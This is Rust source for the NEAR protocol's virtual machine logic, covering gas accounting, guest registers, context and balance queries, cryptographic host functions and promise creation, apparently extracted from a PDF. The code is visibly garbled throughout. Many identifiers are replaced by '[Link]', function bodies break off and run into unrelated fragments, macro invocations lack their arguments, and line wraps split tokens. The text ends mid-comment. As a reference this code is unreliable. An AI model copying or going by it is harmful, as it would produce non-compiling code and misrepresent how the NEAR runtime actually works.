NEAR VM Logic Execution State Code
NEAR VM Logic Execution State Code
rs :
"use super::context::VMContext;
use super::dependencies::{External, MemSlice, MemoryLike};
use super::errors::{FunctionCallError, InconsistentStateError};
use super::gas_counter::GasCounter;
use super::recorded_storage_counter::RecordedStorageCounter;
use super::types::{
GlobalContractDeployMode, GlobalContractIdentifier, PromiseIndex,
PromiseResult, ReceiptIndex,
ReturnData,
};
use super::utils::split_method_names;
use super::{HostError, VMLogicError};
use crate::ProfileDataV3;
use crate::bls12381_impl;
use crate::logic::gas_counter::FreeGasCounter;
use ExtCosts::*;
use near_crypto::Secp256K1Signature;
use near_parameters::vm::Config;
use near_parameters::{
ActionCosts, ExtCosts, RuntimeFeesConfig, transfer_exec_fee, transfer_send_fee,
};
use near_primitives_core::config::INLINE_DISK_VALUE_THRESHOLD;
use near_primitives_core::hash::CryptoHash;
use near_primitives_core::types::{
AccountId, Balance, Compute, EpochHeight, Gas, GasWeight, StorageUsage,
};
use std::mem::size_of;
use std::sync::Arc;
impl ExecutionResultState {
/// Create a new state.
///
/// # Panics
///
/// Note that `context.account_balance + context.attached_deposit` must not
overflow `u128`,
/// otherwise this function will panic.
pub fn new(context: &VMContext, gas_counter: GasCounter, config: Arc<Config>) -
> Self {
let current_account_balance = context
.account_balance
.checked_add(context.attached_deposit)
.expect("current_account_balance overflowed");
let current_storage_usage = context.storage_usage;
Self {
config,
gas_counter,
logs: vec![],
total_log_length: 0,
return_data: ReturnData::None,
current_account_balance,
current_storage_usage,
}
}
self.current_account_balance.checked_sub(amount).ok_or(HostError::BalanceExceeded)?
;
Ok(())
}
/// Checks that the current log number didn't reach the limit yet, so we can
add a new message.
fn check_can_add_a_log_message(&self) -> Result<()> {
if [Link]() as u64 >= [Link].limit_config.max_number_logs {
Err(HostError::NumberOfLogsExceeded { limit:
[Link].limit_config.max_number_logs }
.into())
} else {
Ok(())
}
}
VMOutcome {
balance: self.current_account_balance,
storage_usage: self.current_storage_usage,
return_data: self.return_data,
burnt_gas,
used_gas,
compute_usage,
logs: [Link],
profile,
aborted: None,
}
}
}
/// Structure
pub struct VMLogic<'a> {
/// Provides access to the components outside the Wasm runtime for operations
on the trie and
/// receipts creation.
ext: &'a mut dyn External,
/// Part of Context API and Economics API that was extracted from the receipt.
context: &'a VMContext,
/// Pointer to the guest memory.
memory: super::vmstate::Memory<'a>,
/// All gas and economic parameters required during contract execution.
config: Arc<Config>,
/// Fees charged for various operations that contract may execute.
fees_config: Arc<RuntimeFeesConfig>,
/// Current amount of locked tokens, does not automatically change when staking
transaction is
/// issued.
current_account_locked_balance: Balance,
/// Registers can be used by the guest to store blobs of data without moving
them across
/// host-guest boundary.
registers: super::vmstate::Registers,
/// The DAG of promises, indexed by promise id.
promises: Vec<Promise>,
/// Promises API allows to create a DAG-structure that defines dependencies between
smart contract
/// calls. A single promise can be created with zero or several dependencies on
other promises.
/// * If a promise was created from a receipt (using `promise_create` or
`promise_then`) it's a
/// `Receipt`;
/// * If a promise was created by merging several promises (using `promise_and`)
then
/// it's a `NotReceipt`, but has receipts of all promises it depends on.
#[derive(Debug)]
enum Promise {
Receipt(ReceiptIndex),
NotReceipt(Vec<ReceiptIndex>),
}
impl PublicKeyBuffer {
fn new(data: &[u8]) -> Self {
Self(borsh::BorshDeserialize::try_from_slice(data).map_err(|_| ()))
}
impl<'a> VMLogic<'a> {
pub fn new(
ext: &'a mut dyn External,
context: &'a VMContext,
fees_config: Arc<RuntimeFeesConfig>,
result_state: ExecutionResultState,
memory: &'a mut dyn MemoryLike,
) -> Self {
let current_account_locked_balance = context.account_locked_balance;
let config = Arc::clone(&result_state.config);
let recorded_storage_counter = RecordedStorageCounter::new(
ext.get_recorded_storage_size(),
config.limit_config.per_receipt_storage_proof_size_limit,
);
let remaining_stack = u64::from(config.limit_config.max_stack_height);
Self {
ext,
context,
config,
fees_config,
memory: super::vmstate::Memory::new(memory),
current_account_locked_balance,
recorded_storage_counter,
registers: Default::default(),
promises: vec![],
remaining_stack,
result_state,
}
}
#[cfg(test)]
pub(super) fn config(&self) -> &Config {
&[Link]
}
#[cfg(test)]
pub(super) fn memory(&mut self) -> &mut super::vmstate::Memory<'a> {
&mut [Link]
}
#[cfg(test)]
pub(super) fn registers(&mut self) -> &mut super::vmstate::Registers {
&mut [Link]
}
// #########################
// # Finite-wasm internals #
// #########################
pub fn finite_wasm_gas(&mut self, gas: u64) -> Result<()> {
[Link](gas)
}
fn linear_gas(&mut self, count: u32, linear: u64, constant: u64) -> Result<u32>
{
let linear =
u64::from(count).checked_mul(linear).ok_or(HostError::IntegerOverflow)?;
let gas = constant.checked_add(linear).ok_or(HostError::IntegerOverflow)?;
[Link](gas)?;
Ok(count)
}
pub fn finite_wasm_memory_copy(
&mut self,
count: u32,
linear: u64,
constant: u64,
) -> Result<u32> {
self.linear_gas(count, linear, constant)
}
pub fn finite_wasm_memory_fill(
&mut self,
count: u32,
linear: u64,
constant: u64,
) -> Result<u32> {
self.linear_gas(count, linear, constant)
}
pub fn finite_wasm_memory_init(
&mut self,
count: u32,
linear: u64,
constant: u64,
) -> Result<u32> {
self.linear_gas(count, linear, constant)
}
pub fn finite_wasm_table_copy(
&mut self,
count: u32,
linear: u64,
constant: u64,
) -> Result<u32> {
self.linear_gas(count, linear, constant)
}
pub fn finite_wasm_table_fill(
&mut self,
count: u32,
linear: u64,
constant: u64,
) -> Result<u32> {
self.linear_gas(count, linear, constant)
}
pub fn finite_wasm_table_init(
&mut self,
count: u32,
linear: u64,
constant: u64,
) -> Result<u32> {
self.linear_gas(count, linear, constant)
}
// #################
// # Registers API #
// #################
/// Writes the entire content from the register `register_id` into the memory
of the guest starting with `ptr`.
///
/// # Arguments
///
/// * `register_id` -- a register id from where to read the data;
/// * `ptr` -- location on guest memory where to copy the data.
///
/// # Errors
///
/// * If the content extends outside the memory allocated to the guest. In
Wasmer, it returns `MemoryAccessViolation` error message;
/// * If `register_id` is pointing to unused register returns
`InvalidRegisterId` error message.
///
/// # Undefined Behavior
///
/// If the content of register extends outside the preallocated memory on the
host side, or the pointer points to a
/// wrong location this function will overwrite memory that it is not supposed
to overwrite causing an undefined behavior.
///
/// # Cost
///
/// `base + read_register_base + read_register_byte * num_bytes +
write_memory_base + write_memory_byte * num_bytes`
pub fn read_register(&mut self, register_id: u64, ptr: u64) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
let data = [Link](&mut self.result_state.gas_counter,
register_id)?;
[Link](&mut self.result_state.gas_counter, ptr, data)
}
/// Returns the size of the blob stored in the given register.
/// * If register is used, then returns the size, which can potentially be
zero;
/// * If register is not used, returns `u64::MAX`
///
/// # Arguments
///
/// * `register_id` -- a register id from where to read the data;
///
/// # Cost
///
/// `base`
pub fn register_len(&mut self, register_id: u64) -> Result<u64> {
self.result_state.gas_counter.pay_base(base)?;
Ok([Link].get_len(register_id).unwrap_or(u64::MAX))
}
/// Copies `data` from the guest memory into the register. If register is
unused will initialize
/// it. If register has larger capacity than needed for `data` will not re-
allocate it. The
/// register will lose the pre-existing data if any.
///
/// # Arguments
///
/// * `register_id` -- a register id where to write the data;
/// * `data_len` -- length of the data in bytes;
/// * `data_ptr` -- pointer in the guest memory where to read the data from.
///
/// # Cost
///
/// `base + read_memory_base + read_memory_bytes * num_bytes +
write_register_base + write_register_bytes * num_bytes`
pub fn write_register(&mut self, register_id: u64, data_len: u64, data_ptr:
u64) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
let data = self
.memory
.view(&mut self.result_state.gas_counter, MemSlice { ptr: data_ptr,
len: data_len })?;
[Link](
&mut self.result_state.gas_counter,
&[Link].limit_config,
register_id,
data,
)
}
// ###################################
// # String reading helper functions #
// ###################################
/// Helper function to get utf8 string, for sandbox debug log. The difference
with `get_utf8_string`:
/// * It's only available on sandbox node
/// * The cost is 0
/// * It's up to the caller to set correct len
#[cfg(feature = "sandbox")]
fn sandbox_get_utf8_string(&self, len: u64, ptr: u64) -> Result<String> {
let buf = [Link].view_for_free(MemSlice { ptr, len })?.into_owned();
String::from_utf8(buf).map_err(|_| HostError::[Link]())
}
/// Helper function to read UTF-16 formatted string from guest memory.
/// # Errors
///
/// * If string extends outside the memory of the guest with
`MemoryAccessViolation`;
/// * If string is not UTF-16 returns `BadUtf16`.
/// * If number of bytes read + `total_log_length` exceeds the
`max_total_log_length` returns
/// `TotalLogLengthExceeded`.
///
/// # Cost
///
/// For not nul-terminated string:
/// `read_memory_base + read_memory_byte * num_bytes + utf16_decoding_base +
utf16_decoding_byte * num_bytes`
///
/// For nul-terminated string:
/// `read_memory_base * num_bytes / 2 + read_memory_byte * num_bytes +
utf16_decoding_base + utf16_decoding_byte * num_bytes`
fn get_utf16_string(&mut self, mut len: u64, ptr: u64) -> Result<String> {
self.result_state.gas_counter.pay_base(utf16_decoding_base)?;
let max_len = self
.config
.limit_config
.max_total_log_length
.saturating_sub(self.result_state.total_log_length);
let mem_view = if len == u64::MAX {
len = self.get_nul_terminated_utf16_len(ptr, max_len)?;
[Link].view_for_free(MemSlice { ptr, len })
} else {
[Link](&mut self.result_state.gas_counter, MemSlice { ptr,
len })
}?;
self.result_state.gas_counter.pay_per(utf16_decoding_byte, len)?;
char::decode_utf16(input.into_iter().copied().map(u16::from_le_bytes))
.collect::<Result<String, _>>()
.map_err(|_| HostError::[Link]())
}
// ####################################################
// # Helper functions to prevent code duplication API #
// ####################################################
/// Adds a given promise to the vector of promises and returns a new promise
index.
/// Throws `NumberPromisesExceeded` if the total number of promises exceeded
the limit.
fn checked_push_promise(&mut self, promise: Promise) -> Result<PromiseIndex> {
let new_promise_idx = [Link]() as PromiseIndex;
[Link](promise);
if [Link]() as u64
> [Link].limit_config.max_promises_per_function_call_action
{
Err(HostError::NumberPromisesExceeded {
number_of_promises: [Link]() as u64,
limit:
[Link].limit_config.max_promises_per_function_call_action,
}
.into())
} else {
Ok(new_promise_idx)
}
}
// ###############
// # Context API #
// ###############
/// Saves the account id of the current contract that we execute into the
register.
///
/// # Errors
///
/// If the registers exceed the memory limit returns `MemoryAccessViolation`.
///
/// # Cost
///
/// `base + write_register_base + write_register_byte * num_bytes`
pub fn current_account_id(&mut self, register_id: u64) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
[Link](
&mut self.result_state.gas_counter,
&[Link].limit_config,
register_id,
[Link].current_account_id.as_bytes(),
)
}
/// All contract calls are a result of some transaction that was signed by some
account using
/// some access key and submitted into a memory pool (either through the wallet
using RPC or by
/// a node itself). This function returns the id of that account. Saves the
bytes of the signer
/// account id into the register.
///
/// # Errors
///
/// * If the registers exceed the memory limit returns `MemoryAccessViolation`.
/// * If called as view function returns `ProhibitedInView`.
///
/// # Cost
///
/// `base + write_register_base + write_register_byte * num_bytes`
pub fn signer_account_id(&mut self, register_id: u64) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(HostError::ProhibitedInView {
method_name: "signer_account_id".to_string(),
}
.into());
}
[Link](
&mut self.result_state.gas_counter,
&[Link].limit_config,
register_id,
[Link].signer_account_id.as_bytes(),
)
}
/// Saves the public key fo the access key that was used by the signer into the
register. In
/// rare situations smart contract might want to know the exact access key that
was used to send
/// the original transaction, e.g. to increase the allowance or manipulate with
the public key.
///
/// # Errors
///
/// * If the registers exceed the memory limit returns `MemoryAccessViolation`.
/// * If called as view function returns `ProhibitedInView`.
///
/// # Cost
///
/// `base + write_register_base + write_register_byte * num_bytes`
pub fn signer_account_pk(&mut self, register_id: u64) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(HostError::ProhibitedInView {
method_name: "signer_account_pk".to_string(),
}
.into());
}
[Link](
&mut self.result_state.gas_counter,
&[Link].limit_config,
register_id,
[Link].signer_account_pk.as_slice(),
)
}
/// All contract calls are a result of a receipt, this receipt might be created
by a transaction
/// that does function invocation on the contract or another contract as a
result of
/// cross-contract call. Saves the bytes of the predecessor account id into the
register.
///
/// # Errors
///
/// * If the registers exceed the memory limit returns `MemoryAccessViolation`.
/// * If called as view function returns `ProhibitedInView`.
///
/// # Cost
///
/// `base + write_register_base + write_register_byte * num_bytes`
pub fn predecessor_account_id(&mut self, register_id: u64) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(HostError::ProhibitedInView {
method_name: "predecessor_account_id".to_string(),
}
.into());
}
[Link](
&mut self.result_state.gas_counter,
&[Link].limit_config,
register_id,
[Link].predecessor_account_id.as_bytes(),
)
}
/// Reads input to the contract call into the register. Input is expected to be
in JSON-format.
/// If input is provided saves the bytes (potentially zero) of input into
register. If input is
/// not provided writes 0 bytes into the register.
///
/// # Cost
///
/// `base + write_register_base + write_register_byte * num_bytes`
pub fn input(&mut self, register_id: u64) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
[Link](
&mut self.result_state.gas_counter,
&[Link].limit_config,
register_id,
[Link].as_slice(),
)
}
/// Returns the number of bytes used by the contract if it was saved to the
trie as of the
/// invocation. This includes:
/// * The data written with storage_* functions during current and previous
execution;
/// * The bytes needed to store the access keys of the given account.
/// * The contract code size
/// * A small fixed overhead for account metadata.
///
/// # Cost
///
/// `base`
pub fn storage_usage(&mut self) -> Result<StorageUsage> {
self.result_state.gas_counter.pay_base(base)?;
Ok(self.result_state.current_storage_usage)
}
// #################
// # Economics API #
// #################
/// The current balance of the given account. This includes the
attached_deposit that was
/// attached to the transaction.
///
/// # Cost
///
/// `base + memory_write_base + memory_write_size * 16`
pub fn account_balance(&mut self, balance_ptr: u64) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
[Link].set_u128(
&mut self.result_state.gas_counter,
balance_ptr,
self.result_state.current_account_balance,
)
}
/// The balance that was attached to the call that will be immediately
deposited before the
/// contract execution starts.
///
/// # Errors
///
/// If called as view function returns `ProhibitedInView``.
///
/// # Cost
///
/// `base + memory_write_base + memory_write_size * 16`
pub fn attached_deposit(&mut self, balance_ptr: u64) -> Result<()> {
self.result_state.gas_counter.pay_base(base)?;
[Link].set_u128(
&mut self.result_state.gas_counter,
balance_ptr,
[Link].attached_deposit,
)
}
/// The amount of gas attached to the call that can be used to pay for the gas
fees.
///
/// # Errors
///
/// If called as view function returns `ProhibitedInView`.
///
/// # Cost
///
/// `base`
pub fn prepaid_gas(&mut self) -> Result<Gas> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(
HostError::ProhibitedInView { method_name:
"prepaid_gas".to_string() }.into()
);
}
Ok([Link].prepaid_gas)
}
/// The gas that was already burnt during the contract execution (cannot exceed
`prepaid_gas`)
///
/// # Errors
///
/// If called as view function returns `ProhibitedInView`.
///
/// # Cost
///
/// `base`
pub fn used_gas(&mut self) -> Result<Gas> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(HostError::ProhibitedInView { method_name:
"used_gas".to_string() }.into());
}
Ok(self.result_state.gas_counter.used_gas())
}
// ############
// # Math API #
// ############
[Link](
&mut self.result_state.gas_counter,
&[Link].limit_config,
register_id,
res,
)
}
/// Computes sum for signed g1 group elements on alt_bn128 curve \sum_i
/// (-1)^{sign_i} g_{1 i} should be equal result.
///
/// # Arguments
///
/// * `value` - sequence of (sign:bool, g1:G1), where
/// G1 is point (x:Fq, y:Fq) on alt_bn128,
/// alt_bn128 is Y^2 = X^3 + 3 curve over Fq.
///
/// `value` is encoded as packed, little-endian
/// `[(u8, (u256, u256))]` slice. `0u8` is positive sign,
/// `1u8` -- negative.
///
/// # Errors
///
/// If `value_len + value_ptr` points outside the memory or the registers
/// use more memory than the limit, the function returns
`MemoryAccessViolation`.
///
/// If point coordinates are not on curve, point is not in the subgroup,
/// scalar is not in the field, sign is not 0 or 1, or `[Link]()%65!=0`,
/// the function returns `AltBn128InvalidInput`.
///
/// # Cost
///
/// `base + write_register_base + write_register_byte * num_bytes +
/// alt_bn128_g1_sum_base + alt_bn128_g1_sum_element * num_elements`
pub fn alt_bn128_g1_sum(
&mut self,
value_len: u64,
value_ptr: u64,
register_id: u64,
) -> Result<()> {
self.result_state.gas_counter.pay_base(alt_bn128_g1_sum_base)?;
let data = get_memory_or_register!(self, value_ptr, value_len)?;
[Link](
&mut self.result_state.gas_counter,
&[Link].limit_config,
register_id,
res,
)
}
Ok(res as u64)
}
bls12381_impl!(
r"Calculates the sum of signed elements on the BLS12-381 curve.
It accepts an arbitrary number of pairs (sign_i, p_i),
where p_i from E(Fp) and sign_i is 0 or 1.
It calculates sum_i (-1)^{sign_i} * p_i
# Arguments
# Output
# Errors
# Cost
bls12381_impl!(
r"Calculates the sum of signed elements on the twisted BLS12-381 curve.
It accepts an arbitrary number of pairs (sign_i, p_i),
where p_i from E'(Fp^2) and sign_i is 0 or 1.
It calculates sum_i (-1)^{sign_i} * p_i
# Arguments
# Output
If the input data is correct returns 0 and the 192 bytes represent
the resulting points from E'(Fp^2) which will be written to the register with
the register_id identifier
# Errors
# Cost
bls12381_impl!(
r"Calculates multiexp on BLS12-381 curve:
accepts an arbitrary number of pairs (p_i, s_i),
where p_i from G1 and s_i is a scalar and
calculates sum_i s_i*p_i
# Arguments
# Output
# Errors
# Cost
bls12381_impl!(
r"Calculates multiexp on twisted BLS12-381 curve:
accepts an arbitrary number of pairs (p_i, s_i),
where p_i from G2 and s_i is a scalar and
calculates sum_i s_i*p_i
# Arguments
# Output
If the input data is correct returns 0 and the 192 bytes represent
the resulting points from G2 which will be written to the register with
the register_id identifier
# Errors
# Cost
bls12381_impl!(
r"Maps elements from Fp to the G1 subgroup of BLS12-381 curve.
# Arguments
# Output
If the input data is correct returns 0 and the 96*num_elements bytes represent
the resulting points from G1 which will be written to the register with
the register_id identifier
# Errors
# Cost
bls12381_impl!(
r"Maps elements from Fp^2 to the G2 subgroup of twisted BLS12-381 curve.
# Arguments
# Output
If the input data is correct returns 0 and the 192*num_elements bytes represent
the resulting points from G2 which will be written to the register with
the register_id identifier
# Errors
# Cost
`base + write_register_base + write_register_byte * num_bytes +
bls12381_map_fp2_to_g2_base + bls12381_map_fp2_to_g2_element * num_elements`
",
bls12381_map_fp2_to_g2,
96,
bls12381_map_fp2_to_g2_base,
bls12381_map_fp2_to_g2_element,
map_fp2_to_g2
);
self.result_state.gas_counter.pay_per(bls12381_pairing_element,
elements_count as u64)?;
super::bls12381::pairing_check(&data)
}
bls12381_impl!(
r"Decompress points from BLS12-381 curve.
# Arguments
The highest bit should be set as 1, the second-highest bit marks the point at
infinity,
The third-highest bit represent the sign of y (0 for positive).
# Output
If the input data is correct returns 0 and the 96*num_elements bytes represent
the resulting uncompressed points from E(Fp) which will be written to the register
with
the register_id identifier
# Errors
# Cost
`base + write_register_base + write_register_byte * num_bytes +
bls12381_p1_decompress_base + bls12381_p1_decompress_element * num_elements`
",
bls12381_p1_decompress,
48,
bls12381_p1_decompress_base,
bls12381_p1_decompress_element,
p1_decompress
);
bls12381_impl!(
r"Decompress points from twisted BLS12-381 curve.
# Arguments
The highest bit should be set as 1, the second-highest bit marks the point at
infinity,
The third-highest bit represent the sign of y (0 for positive).
# Output
If the input data is correct returns 0 and the 192*num_elements bytes represent
the resulting uncompressed points from E'(Fp^2) which will be written to the
register with
the register_id identifier
# Errors
# Cost
/// Hashes the given value using sha256 and returns it into `register_id`.
///
/// # Errors
///
/// If `value_len + value_ptr` points outside the memory or the registers use
more memory than
/// the limit with `MemoryAccessViolation`.
///
/// # Cost
///
/// `base + write_register_base + write_register_byte * num_bytes + sha256_base
+ sha256_byte * num_bytes`
pub fn sha256(&mut self, value_len: u64, value_ptr: u64, register_id: u64) ->
Result<()> {
self.result_state.gas_counter.pay_base(sha256_base)?;
let value = get_memory_or_register!(self, value_ptr, value_len)?;
self.result_state.gas_counter.pay_per(sha256_byte, [Link]() as u64)?;
use sha2::Digest;
/// Hashes the given value using keccak256 and returns it into `register_id`.
///
/// # Errors
///
/// If `value_len + value_ptr` points outside the memory or the registers use
more memory than
/// the limit with `MemoryAccessViolation`.
///
/// # Cost
///
/// `base + write_register_base + write_register_byte * num_bytes +
keccak256_base + keccak256_byte * num_bytes`
pub fn keccak256(&mut self, value_len: u64, value_ptr: u64, register_id: u64) -
> Result<()> {
self.result_state.gas_counter.pay_base(keccak256_base)?;
let value = get_memory_or_register!(self, value_ptr, value_len)?;
self.result_state.gas_counter.pay_per(keccak256_byte, [Link]() as u64)?;
use sha3::Digest;
/// Hashes the given value using keccak512 and returns it into `register_id`.
///
/// # Errors
///
/// If `value_len + value_ptr` points outside the memory or the registers use
more memory than
/// the limit with `MemoryAccessViolation`.
///
/// # Cost
///
/// `base + write_register_base + write_register_byte * num_bytes +
keccak512_base + keccak512_byte * num_bytes`
pub fn keccak512(&mut self, value_len: u64, value_ptr: u64, register_id: u64) -
> Result<()> {
self.result_state.gas_counter.pay_base(keccak512_base)?;
let value = get_memory_or_register!(self, value_ptr, value_len)?;
self.result_state.gas_counter.pay_per(keccak512_byte, [Link]() as u64)?;
use sha3::Digest;
let value_hash = sha3::Keccak512::digest(&value);
[Link](
&mut self.result_state.gas_counter,
&[Link].limit_config,
register_id,
value_hash.as_slice(),
)
}
/// Hashes the given value using RIPEMD-160 and returns it into `register_id`.
///
/// # Errors
///
/// If `value_len + value_ptr` points outside the memory or the registers use
more memory than
/// the limit with `MemoryAccessViolation`.
///
/// # Cost
///
/// Where `message_blocks` is `(value_len + 9).div_ceil(64)`.
///
/// `base + write_register_base + write_register_byte * num_bytes +
ripemd160_base + ripemd160_block * message_blocks`
pub fn ripemd160(&mut self, value_len: u64, value_ptr: u64, register_id: u64) -
> Result<()> {
self.result_state.gas_counter.pay_base(ripemd160_base)?;
let value = get_memory_or_register!(self, value_ptr, value_len)?;
self.result_state.gas_counter.pay_per(ripemd160_block, message_blocks as
u64)?;
use ripemd::Digest;
let signature = {
let vec = get_memory_or_register!(self, sig_ptr, sig_len)?;
if [Link]() != 64 {
return Err(VMLogicError::HostError(HostError::ECRecoverError {
msg: format!(
"The length of the signature: {}, exceeds the limit of 64
bytes",
[Link]()
),
}));
}
if v < 4 {
bytes[64] = v as u8;
Secp256K1Signature::from(bytes)
} else {
return Err(VMLogicError::HostError(HostError::ECRecoverError {
msg: format!("V recovery byte 0 through 3 are valid but was
provided {}", v),
}));
}
};
let hash = {
let vec = get_memory_or_register!(self, hash_ptr, hash_len)?;
if [Link]() != 32 {
return Err(VMLogicError::HostError(HostError::ECRecoverError {
msg: format!(
"The length of the hash: {}, exceeds the limit of 32
bytes",
[Link]()
),
}));
}
if !signature.check_signature_values(malleability_flag != 0) {
return Ok(false as u64);
}
Ok(false as u64)
}
self.result_state.gas_counter.pay_base(ed25519_verify_base)?;
/// This is the function that is exposed to WASM contracts under the name
`gas`.
///
/// For now it is consuming the gas for `gas` opcodes. When we switch to
finite-wasm it’ll
/// be made to be a no-op.
///
/// This function might be intrinsified.
pub fn gas_seen_from_wasm(&mut self, opcodes: u32) -> Result<()> {
self.gas_opcodes(opcodes)
}
#[cfg(feature = "test_features")]
pub fn sleep_nanos(&mut self, nanos: u64) -> Result<()> {
let duration = std::time::Duration::from_nanos(nanos);
std::thread::sleep(duration);
Ok(())
}
// ################
// # Promises API #
// ################
/// A helper function to pay gas fee for creating a new receipt without
actions.
/// # Args:
/// * `sir`: whether contract call is addressed to itself;
/// * `data_dependencies`: other contracts that this execution will be waiting
on (or rather
/// their data receipts), where bool indicates whether this is
sender=receiver communication.
///
/// # Cost
///
/// This is a convenience function that encapsulates several costs:
/// `burnt_gas := dispatch cost of the receipt + base dispatch cost of the data
receipt`
/// `used_gas := burnt_gas + exec cost of the receipt + base exec cost of the
data receipt`
/// Notice that we prepay all base cost upon the creation of the data
dependency, we are going to
/// pay for the content transmitted through the dependency upon the actual
creation of the
/// DataReceipt.
fn pay_gas_for_new_receipt(&mut self, sir: bool, data_dependencies: &[bool]) ->
Result<()> {
let fees_config_cfg = &self.fees_config;
let mut burn_gas =
fees_config_cfg.fee(ActionCosts::new_action_receipt).send_fee(sir);
let mut use_gas =
fees_config_cfg.fee(ActionCosts::new_action_receipt).exec_fee();
for dep in data_dependencies {
// Both creation and execution for data receipts are considered burnt
gas.
burn_gas = burn_gas
.checked_add(fees_config_cfg.fee(ActionCosts::new_data_receipt_base
).send_fee(*dep))
.ok_or(HostError::IntegerOverflow)?
.checked_add(fees_config_cfg.fee(ActionCosts::new_data_receipt_base
).exec_fee())
.ok_or(HostError::IntegerOverflow)?;
}
use_gas = use_gas.checked_add(burn_gas).ok_or(HostError::IntegerOverflow)?;
// This should go to `new_data_receipt_base` and `new_action_receipt` in
parts.
// But we have to keep charing these two together unless we make a protocol
change.
self.result_state.gas_counter.pay_action_accumulated(
burn_gas,
use_gas,
ActionCosts::new_action_receipt,
)
}
/// Creates a promise that will execute a method on account with given
arguments and attaches
/// the given amount and gas. `amount_ptr` point to slices of bytes
representing `u128`.
///
/// # Errors
///
/// * If `account_id_len + account_id_ptr` or `method_name_len +
method_name_ptr` or
/// `arguments_len + arguments_ptr` or `amount_ptr + 16` points outside the
memory of the guest
/// or host returns `MemoryAccessViolation`.
/// * If called as view function returns `ProhibitedInView`.
///
/// # Returns
///
/// Index of the new promise that uniquely identifies it within the current
execution of the
/// method.
///
/// # Cost
///
/// `promise_create` is a convenience wrapper around `promise_batch_create` and
/// `promise_batch_action_function_call`. This means it charges the `base` cost
twice.
pub fn promise_create(
&mut self,
account_id_len: u64,
account_id_ptr: u64,
method_name_len: u64,
method_name_ptr: u64,
arguments_len: u64,
arguments_ptr: u64,
amount_ptr: u64,
gas: Gas,
) -> Result<u64> {
let new_promise_idx = self.promise_batch_create(account_id_len,
account_id_ptr)?;
self.promise_batch_action_function_call(
new_promise_idx,
method_name_len,
method_name_ptr,
arguments_len,
arguments_ptr,
amount_ptr,
gas,
)?;
Ok(new_promise_idx)
}
/// Creates a new promise which completes when time all promises passed as
arguments complete.
/// Cannot be used with registers. `promise_idx_ptr` points to an array of
`u64` elements, with
/// `promise_idx_count` denoting the number of elements. The array contains
indices of promises
/// that need to be waited on jointly.
///
/// # Errors
///
/// * If `promise_ids_ptr + 8 * promise_idx_count` extend outside the guest
memory returns
/// `MemoryAccessViolation`;
/// * If any of the promises in the array do not correspond to existing
promises returns
/// `InvalidPromiseIndex`.
/// * If called as view function returns `ProhibitedInView`.
/// * If the total number of receipt dependencies exceeds
`max_number_input_data_dependencies`
/// limit returns `NumInputDataDependenciesExceeded`.
/// * If the total number of promises exceeds
`max_promises_per_function_call_action` limit
/// returns `NumPromisesExceeded`.
///
/// # Returns
///
/// Index of the new promise that uniquely identifies it within the current
execution of the
/// method.
///
/// # Cost
///
/// `base + promise_and_base + promise_and_per_promise * num_promises + cost of
reading promise ids from memory`.
pub fn promise_and(
&mut self,
promise_idx_ptr: u64,
promise_idx_count: u64,
) -> Result<PromiseIndex> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(
HostError::ProhibitedInView { method_name:
"promise_and".to_string() }.into()
);
}
self.result_state.gas_counter.pay_base(promise_and_base)?;
let memory_len = promise_idx_count
.checked_mul(size_of::<u64>() as u64)
.ok_or(HostError::IntegerOverflow)?;
self.result_state.gas_counter.pay_per(promise_and_per_promise,
memory_len)?;
/// Creates a new promise towards given `account_id` without any actions
attached to it.
///
/// # Errors
///
/// * If `account_id_len + account_id_ptr` points outside the memory of the
guest or host
/// returns `MemoryAccessViolation`.
/// * If called as view function returns `ProhibitedInView`.
/// * If the total number of promises exceeds
`max_promises_per_function_call_action` limit
/// returns `NumPromisesExceeded`.
///
/// # Returns
///
/// Index of the new promise that uniquely identifies it within the current
execution of the
/// method.
///
/// # Cost
///
/// `burnt_gas := base + cost of reading and decoding the account id + dispatch
cost of the receipt`.
/// `used_gas := burnt_gas + exec cost of the receipt`.
pub fn promise_batch_create(
&mut self,
account_id_len: u64,
account_id_ptr: u64,
) -> Result<u64> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(HostError::ProhibitedInView {
method_name: "promise_batch_create".to_string(),
}
.into());
}
let account_id = self.read_and_parse_account_id(account_id_ptr,
account_id_len)?;
let sir = account_id == [Link].current_account_id;
self.pay_gas_for_new_receipt(sir, &[])?;
let new_receipt_idx = [Link].create_action_receipt(vec![], account_id)?;
self.checked_push_promise(Promise::Receipt(new_receipt_idx))
}
/// Creates a new promise towards given `account_id` without any actions
attached, that is
/// executed after promise pointed by `promise_idx` is complete.
///
/// # Errors
///
/// * If `promise_idx` does not correspond to an existing promise returns
`InvalidPromiseIndex`;
/// * If `account_id_len + account_id_ptr` points outside the memory of the
guest or host
/// returns `MemoryAccessViolation`.
/// * If called as view function returns `ProhibitedInView`.
/// * If the total number of promises exceeds
`max_promises_per_function_call_action` limit
/// returns `NumPromisesExceeded`.
///
/// # Returns
///
/// Index of the new promise that uniquely identifies it within the current
execution of the
/// method.
///
/// # Cost
///
/// `base + cost of reading and decoding the account id + dispatch&execution
cost of the receipt
/// + dispatch&execution base cost for each data dependency`
pub fn promise_batch_then(
&mut self,
promise_idx: u64,
account_id_len: u64,
account_id_ptr: u64,
) -> Result<u64> {
self.result_state.gas_counter.pay_base(base)?;
if [Link].is_view() {
return Err(HostError::ProhibitedInView {
method_name: "promise_batch_then".to_string(),
}
.into());
}
let account_id = self.read_and_parse_account_id(account_id_ptr,
account_id_len)?;
// Update the DAG and return new promise idx.
let promise = self
.promises
.get(promise_idx as usize)
.ok_or(HostError::InvalidPromiseIndex { promise_idx })?;
let receipt_dependencies = match &promise {
Promise::Receipt(receipt_idx) => vec![*receipt_idx],
Promise::NotReceipt(receipt_indices) => receipt_indices.clone(),
};
self.checked_push_promise(Promise::Receipt(new_receipt_idx))
}
/// Helper function to return the receipt index corresponding to the given
